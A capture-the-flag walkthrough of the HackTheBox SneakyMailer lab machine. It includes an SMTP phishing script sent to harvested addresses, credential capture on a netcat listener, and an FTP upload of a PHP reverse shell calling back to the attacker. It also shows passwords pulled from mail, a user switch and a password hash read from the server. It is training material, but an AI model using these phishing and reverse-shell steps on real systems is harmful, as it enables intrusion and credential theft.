HTB SneakyMailer Walkthrough
A technical CTF walk through of the HackTheBox SneakyMailer machine.
Welcome back, this writeup is really interesting with a lot of exploits. Let me say that this time, a little bit of fortune helped me to the finish line. I'll try to explain to you what I understand went down.
Let's jump right in!
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ sudo nmap -A -T4 10.10.10.197
[sudo] password for in7rud3r:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-28 14:23 CEST
Nmap scan report for 10.10.10.197
Host is up (0.048s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: CAPABILITY NAMESPACE QUOTA THREAD=ORDEREDSUBJECT IDLE OK UTF8=ACCEPTA0001 ACL THREAD=REFERENCES IMAP4rev1 UIDPLUS STARTTLS ACL2=UNION completed CHILDREN ENABLE SORT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:[email protected]
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: CAPABILITY AUTH=PLAIN QUOTA THREAD=ORDEREDSUBJECT IDLE OK UTF8=ACCEPTA0001 ACL THREAD=REFERENCES IMAP4rev1 UIDPLUS completed ACL2=UNION CHILDREN NAMESPACE ENABLE SORT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:[email protected]
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/28%OT=21%CT=1%CU=43669%PV=Y%DS=2%DC=T%G=Y%TM=5F20191
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=105%GCD=1%ISR=106%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 46.13 ms 10.10.14.1
2 52.72 ms 10.10.10.197
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.73 seconds
A lot of open ports here. I could proceed to check all the ports, step by step, but I'm quite sure that, as usual for the HTB BOX, we have to investigate on the web. Looking better I see a detail:
|_http-title: Did not follow redirect to http://sneakycorp.htb
The web response with a redirect on the domain http://sneakycorp.htb, so I have to add a line on my /etc/hosts file:
10.10.10.197 sneakycorp.htb
There are two different ports open for the http protocol, 80 and 8080, so check both.
Navigating the portal on the port 80, found an interesting list of emails address; take it in mind.
I see also that I have four messages for my account (mmm, but I have not authenticated).
Nothing so interesting, anyway; I proceed with a dirb scan:
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ dirb http://sneakycorp.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Jul 31 13:01:15 2020
URL_BASE: http://sneakycorp.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://sneakycorp.htb/ ----
==> DIRECTORY: http://sneakycorp.htb/css/
==> DIRECTORY: http://sneakycorp.htb/img/
+ http://sneakycorp.htb/index.php (CODE:200|SIZE:13543)
==> DIRECTORY: http://sneakycorp.htb/js/
==> DIRECTORY: http://sneakycorp.htb/vendor/
---- Entering directory: http://sneakycorp.htb/css/ ----
---- Entering directory: http://sneakycorp.htb/img/ ----
---- Entering directory: http://sneakycorp.htb/js/ ----
==> DIRECTORY: http://sneakycorp.htb/js/demo/
---- Entering directory: http://sneakycorp.htb/vendor/ ----
==> DIRECTORY: http://sneakycorp.htb/vendor/jquery/
---- Entering directory: http://sneakycorp.htb/js/demo/ ----
---- Entering directory: http://sneakycorp.htb/vendor/jquery/ ----
-----------------
END_TIME: Fri Jul 31 13:32:57 2020
DOWNLOADED: 32284 - FOUND: 1
Nothing again, so I proceed with the original idea and try to search for all the services on the ports on exploit-db, but, I'm again in a dead-end. Well, with past experience on the other tutorials, I would like to proceed with a subdomain scan; I follow my past writeup on forwardslash (you can find it here). So, you should understand that the steps to scan the subdomain is to start the dnsmasq service after configured the related configuration files and the /etc/resolv.conf.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ sudo systemctl restart dnsmasq.service
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ sudo systemctl enable dnsmasq.service
Synchronizing state of dnsmasq.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable dnsmasq
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ sudo systemctl status dnsmasq.service
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
Loaded: loaded (/lib/systemd/system/dnsmasq.service; enabled; vendor preset: disabled)
Active: active (running) since Sat 2020-08-01 11:08:58 CEST; 12s ago
Main PID: 33358 (dnsmasq)
Tasks: 1 (limit: 4551)
Memory: 1.8M
CGroup: /system.slice/dnsmasq.service
└─33358 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --local-service --trust-anchor=.,20326,8,2,e06d44b80b8f1d39a95c0b0d7c65d08>
Aug 01 11:08:58 kali systemd[1]: Starting dnsmasq - A lightweight DHCP and caching DNS server...
Aug 01 11:08:58 kali dnsmasq[33358]: started, version 2.81 cachesize 150
Aug 01 11:08:58 kali dnsmasq[33358]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dumpfile
Aug 01 11:08:58 kali dnsmasq[33358]: reading /etc/resolv.conf
Aug 01 11:08:58 kali dnsmasq[33358]: using nameserver 192.168.1.1#53
Aug 01 11:08:58 kali dnsmasq[33358]: read /etc/hosts - 6 addresses
Aug 01 11:08:58 kali systemd[1]: Started dnsmasq - A lightweight DHCP and caching DNS server.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ ping something.sneakycorp.htb
PING something.sneakycorp.htb (10.10.10.197) 56(84) bytes of data.
64 bytes from sneakycorp.htb (10.10.10.197): icmp_seq=1 ttl=63 time=101 ms
64 bytes from sneakycorp.htb (10.10.10.197): icmp_seq=2 ttl=63 time=39.6 ms
64 bytes from sneakycorp.htb (10.10.10.197): icmp_seq=3 ttl=63 time=39.8 ms
^C
--- something.sneakycorp.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 39.629/60.307/101.495/29.123 ms
Ok, it seems to work fine.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://FUZZ.sneakycorp.htb --hc 301
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://FUZZ.sneakycorp.htb/
Total requests: 5000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000019: 200 340 L 989 W 13737 Ch "dev"
000002691: 301 7 L 12 W 185 Ch "tb"
Fatal exception: Pycurl error 6: Could not resolve host: m..sneakycorp.htb
I found the dev subdomain; add it to the /etc/hosts file, but first, remember to restore your configuration and stop the dnsmasq service.
The portal is like the first one but appears a new section for registration. I try to register, but, as for the others BOX, probably this machine cannot connect on the internet, so I suppose I'll never receive the registration mail. Probably I have to proceed for a different way. Ok, I don't know exactly what I can do again, but I think I can pass to another port, the email service for example and verify if the emails listed on the portal is real or a fake.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ telnet sneakycorp.htb 25
Trying 10.10.10.197...
Connected to sneakycorp.htb.
Escape character is '^]'.
220 debian ESMTP Postfix (Debian/GNU)
HELO AAA.AAA.COM
250 debian
vrfy [email protected]
252 2.0.0 [email protected]
vrfy [email protected]
252 2.0.0 [email protected]
quit
221 2.0.0 Bye
Connection closed by foreign host.
Good, it seems to work, but I have a long list, it should be better to understand if there's some exploit to use:
Well, this could reduce the list to concentrate on a smallest set of emails; let me extract the emails from the portal:
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ cewl -e -d 10 --email_file email.txt http://sneakycorp.htb
CeWL 5.4.8 (Inclusion) Robin Wood ([email protected]) (https://digi.ninja/)
sneakymailer
htb
Sidebar
[...]
Customer
donnasnider
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ ls -la
total 12
drwxr-xr-x 2 in7rud3r in7rud3r 4096 Aug 1 12:07 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Aug 1 12:03 ..
-rw-r--r-- 1 in7rud3r in7rud3r 1693 Aug 1 12:07 email.txt
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ cat email.txt
[email protected]
[email protected]
[...]
[email protected]
[email protected]
But, when I launch the script I receive a strange output; it seems that there are no valid emails on the list:
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ smtp-user-enum -M VRFY -U email.txt -t 10.10.10.197
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... email.txt
Target count ............. 1
Username count ........... 57
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Sat Aug 1 12:24:45 2020 #########
######## Scan completed at Sat Aug 1 12:25:45 2020 #########
0 results.
57 queries in 60 seconds (0.9 queries / sec)
Let me check again through the telnet session:
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ telnet 10.10.10.197 25
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
220 debian ESMTP Postfix (Debian/GNU)
helo aaa.com
250 debian
vrfy sfasdfsa
550 5.1.1 <sfasdfsa>: Recipient address rejected: User unknown in local recipient table
vrfy [email protected]
252 2.0.0 [email protected]
vrfy [email protected]
550 5.1.1 <[email protected]>: Recipient address rejected: User unknown in virtual mailbox table
vrfy haleykennedy
550 5.1.1 <haleykennedy>: Recipient address rejected: User unknown in local recipient table
bye
502 5.5.2 Error: command not recognized
quit
221 2.0.0 Bye
Connection closed by foreign host.
It works. I try using the metasploit-framework, should be there something similar on it:
msf5 > search smtp_enum
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smtp/smtp_enum normal No SMTP User Enumeration Utility
msf5 > use auxiliary/scanner/smtp/smtp_enum
msf5 auxiliary(scanner/smtp/smtp_enum) > options
Module options (auxiliary/scanner/smtp/smtp_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
UNIXONLY true yes Skip Microsoft bannered servers when testing unix users
USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt yes The file that contains a list of probable users accounts.
msf5 auxiliary(scanner/smtp/smtp_enum) > set rhosts 10.10.10.197
rhosts => 10.10.10.197
msf5 auxiliary(scanner/smtp/smtp_enum) > set user_file ./email.txt
user_file => ./email.txt
msf5 auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 10.10.10.197:25 - 10.10.10.197:25 Banner: 220 debian ESMTP Postfix (Debian/GNU)
[+] 10.10.10.197:25 - 10.10.10.197:25 Users found: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]
[*] 10.10.10.197:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Mmmmm, I feel to say that nothing news for now, from that way all the emails are valid and by the other sided the emails are all invalid. I would like to connect to the IMAP server to check the email of some accounts, but without a password and without a specific account it is really difficult. So I resort to the forum to try to understand how to proceed and it seems that some people talk about FISHING activities. For those unfamiliar with FISHING, without losing too much in explanations that you can find online, this is the technique of sending mail with the aim that an unsuspecting user clicks on a malicious link contained in the email to capture credentials and more. Well, but which email I have to attack? I suppose I'll work on all the email and wait for a single response.
First of all, activate the link on your local machine:
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ nc -lvp 5555
listening on [any] 5555 ...
You understand that your malicious link will be http://<your IP address>:5555/. Now I have to create a script to pass to the telnet session to send an email with my malicious link to all the accounts identified; hoping that I have no limit on the maximum number of receipts, I try with a single mail, if it doesn't work I'll try splitting the email in a blocking set. I create a script by the name mailscript.sh.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ cat mailscript.sh
sleep 10
echo "helo me.com"
sleep 1
echo "mail from:[email protected]"
sleep 1
echo "rcpt to:[email protected]"
sleep 1
echo "rcpt to:[email protected]"
sleep 1
[...]
echo "rcpt to:[email protected]"
sleep 1
echo "rcpt to:[email protected]"
sleep 1
echo "data"
sleep 1
echo "http://10.10.14.78:5555/"
sleep 1
echo "."
sleep 3
Give to it the execution attributes and launch it:
chmod +x mailscript.sh
./mailscript.sh | telnet 10.10.10.197 25
Well, after a really short time, I receive an answer to my listener.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ nc -lvp 5555
listening on [any] 5555 ...
connect to [10.10.14.78] from sneakycorp.htb [10.10.10.197] 44026
POST /%0D HTTP/1.1
Host: 10.10.14.78:5555
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
Really good, nothing so simple that decode the string using some online tool.
firstName=Paul&lastName=Byrd&[email protected]&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
Now, I can proceed to connect to the IMAP server and check for email managed by this account. To refresh my (and yours) mind, about the IMAP commands, I provide to you the following link:
Connect to the IMAP server...
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/smtp$ openssl s_client -crlf -connect 10.10.10.197:993
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US
verify return:1
---
Certificate chain
0 s:CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US
i:CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIE6zCCA1OgAwIBAgIBATANBgkqhkiG9w0BAQsFADCBjjESMBAGA1UEAxMJbG9j
[...]
AmgHIoMwKXSNEkHbBD24cf9KwVhcyJ4QCrSJBMAys98X6TzCwQI4Hy7XyifU3x/L
XUFD0JSVQp4Rmcg5Uzuk
-----END CERTIFICATE-----
subject=CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US
issuer=CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1947 bytes and written 363 bytes
Verification error: self signed certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 3072 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 18 (self signed certificate)
---
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE AUTH=PLAIN ACL ACL2=UNION ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information.
...login it...
tag login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
...and start to investigate.
tag LIST "" "*"
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
tag OK LIST completed
tag SELECT INBOX
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
tag OK [READ-WRITE] Ok
tag STATUS INBOX (MESSAGES)
* STATUS "INBOX" (MESSAGES 0)
tag OK STATUS Completed.
tag STATUS INBOX.Deleted Items (MESSAGES)
tag NO Mailbox does not exist, or must be subscribed to.
tag STATUS "INBOX.Deleted Items" (MESSAGES)
* STATUS "INBOX.Deleted Items" (MESSAGES 0)
tag OK STATUS Completed.
tag STATUS "INBOX.Sent Items" (MESSAGES)
* STATUS "INBOX.Sent Items" (MESSAGES 2)
tag OK STATUS Completed.
Two messages on the Sent Items folder.
tag FETCH 1:2 (BODY[HEADER])
* 1 FETCH (BODY[HEADER] {279}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <[email protected]>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"
)
* 2 FETCH (BODY[HEADER] {419}
To: low@debian
From: Paul Byrd <[email protected]>
Subject: Module testing
Message-ID: <[email protected]>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
)
tag OK FETCH completed.
Wooo... "password reset", really? :)
tag FETCH 2 (BODY)
* 2 FETCH (BODY ("text" "plain" ("charset" "utf-8" "format" "flowed") NIL NIL "7bit" 166 6))
tag OK FETCH completed.
tag FETCH 2 (BODY[1])
* 2 FETCH (BODY[1] {166}
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
)
tag OK FETCH completed.
tag FETCH 1 (BODY)
* 1 FETCH (BODY (("text" "plain" ("charset" "utf-8") NIL NIL "quoted-printable" 196 7)("text" "html" ("charset" "utf-8") NIL NIL "quoted-printable" 1381 32) "alternative"))
tag OK FETCH completed.
tag FETCH 1 (BODY[1])
* 1 FETCH (BODY[1] {196}
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it=20
)
tag OK FETCH completed.
Another credential, I suppose I have to proceed with another port now, we have available again the ssh and the ftp... Which one do you bet on?
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/ftp$ ssh -l developer 10.10.10.197
[email protected]'s password:
Permission denied, please try again.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer$ ftp
ftp> open 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:in7rud3r): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 01:15 dev
226 Directory send OK.
ftp>
It seems the ftp wins! Ok, but concentrate and proceed, I found some source files for the dev portal (I suppose). I download on my machine to read better, but nothing come out, anyway, this should a good way to upload some file on the remote machine.
ftp> cd dev
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 01:15 .
drwxr-xr-x 3 0 0 4096 Jun 23 08:15 ..
drwxr-xr-x 2 0 0 4096 May 26 19:52 css
drwxr-xr-x 2 0 0 4096 May 26 19:52 img
-rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php
drwxr-xr-x 3 0 0 4096 May 26 19:52 js
drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi
drwxr-xr-x 4 0 0 4096 May 26 19:52 scss
-rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php
drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor
226 Directory send OK.
ftp> mget *
mget css? y
200 PORT command successful. Consider using PASV.
550 Failed to open file.
mget img? y
200 PORT command successful. Consider using PASV.
550 Failed to open file.
mget index.php? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for index.php (13742 bytes).
226 Transfer complete.
13742 bytes received in 0.01 secs (2.0769 MB/s)
mget js? y
200 PORT command successful. Consider using PASV.
550 Failed to open file.
mget pypi? y
200 PORT command successful. Consider using PASV.
550 Failed to open file.
mget scss? y
200 PORT command successful. Consider using PASV.
550 Failed to open file.
mget team.php? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for team.php (26523 bytes).
226 Transfer complete.
26523 bytes received in 0.04 secs (586.2823 kB/s)
mget vendor? y
200 PORT command successful. Consider using PASV.
550 Failed to open file.
Considering that I have access to one of the portals, I think to upload a web shell. I try four or five different web shell, but probably there's some check that doesn't allow to execute them, in addition, the files uploaded on this folder are deleted after some seconds, so, I decide to use a reverse shell and this time the solution works.
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Remember to change your IP address on the top of the code and the port number you want to use, then upload through the ftp.
ftp> put r-shell.php
local: r-shell.php remote: r-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.00 secs (55.1425 MB/s)
Launch the shell using the URL http://dev.sneakycorp.htb/r-shell.php and enjoy.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/ftp$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.78] from sneakycorp.htb [10.10.10.197] 47100
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
10:50:24 up 58 min, 0 users, load average: 0.10, 0.09, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Ok, but, the way is still long.
$ pwd
/
$ cd home
$ ls -la
total 16
drwxr-xr-x 4 root root 4096 May 14 17:10 .
drwxr-xr-x 18 root root 4096 May 14 05:30 ..
drwxr-xr-x 8 low low 4096 Jun 8 03:47 low
drwx------ 5 vmail vmail 4096 May 19 21:10 vmail
$ whoami
www-data
I'm no one. Well, let me report the series of commands I provide to reach the next step.
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
vmail:x:5000:5000::/home/vmail:/usr/sbin/nologin
developer:x:1001:1001:,,,:/var/www/dev.sneakycorp.htb:/bin/bash
pypi:x:998:998::/var/www/pypi.sneakycorp.htb:/usr/sbin/nologin
[...]
$ su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
whoami
developer
cat user.txt
cat: user.txt: Permission denied
[...]
$ ps -a
PID TTY TIME CMD
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 0.2 103872 10244 ? Ss 09:52 0:08 /sbin/init
root 2 0.0 0.0 0 0 ? S 09:52 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 09:52 0:00 [rcu_gp]
[...]
pypi 676 0.0 0.6 36804 25876 ? Ss 09:52 0:03 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
[...]
vmail 4501 0.0 0.0 5260 740 ? Ss 11:25 0:00 /bin/sleep 10
www-data 4502 0.0 0.0 7640 2708 ? R 11:25 0:00 ps aux
With this last command, I'm listing all the processes running on this machine and one of them attracts my attention; it seems there's another web service on local port 5000, I can understand also the right path where the source files are located and this is interesting.
cd /var/www
ls -la
total 24
drwxr-xr-x 6 root root 4096 May 14 18:25 .
drwxr-xr-x 12 root root 4096 May 14 13:09 ..
drwxr-xr-x 3 root root 4096 Jun 23 08:15 dev.sneakycorp.htb
drwxr-xr-x 2 root root 4096 May 14 13:12 html
drwxr-xr-x 4 root root 4096 May 15 14:29 pypi.sneakycorp.htb
drwxr-xr-x 8 root root 4096 Jun 23 09:48 sneakycorp.htb
Well, it seems that there's another web portal, in addition to them already identified. I'd like to navigate it, so, add it on the /etc/hosts file and launch it on the browser. Now, in the original scan, nmap has not identified the 5000, so it should be one of the others, but I see that is already both used, but, let me try again.
Ok, navigating the two URL on the page I receive a credential form to authenticate me, but, the credentials already identified are not good. Come back to the reverse shell and search for additional information.
pwd
/var/www
ls -la
total 24
drwxr-xr-x 6 root root 4096 May 14 18:25 .
drwxr-xr-x 12 root root 4096 May 14 13:09 ..
drwxr-xr-x 3 root root 4096 Jun 23 08:15 dev.sneakycorp.htb
drwxr-xr-x 2 root root 4096 May 14 13:12 html
drwxr-xr-x 4 root root 4096 May 15 14:29 pypi.sneakycorp.htb
drwxr-xr-x 8 root root 4096 Jun 23 09:48 sneakycorp.htb
cd pypi.sneakycorp.htb
ls -la
total 20
drwxr-xr-x 4 root root 4096 May 15 14:29 .
drwxr-xr-x 6 root root 4096 May 14 18:25 ..
-rw-r--r-- 1 root root 43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jun 30 02:24 packages
drwxr-xr-x 6 root pypi 4096 May 14 18:25 venv
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
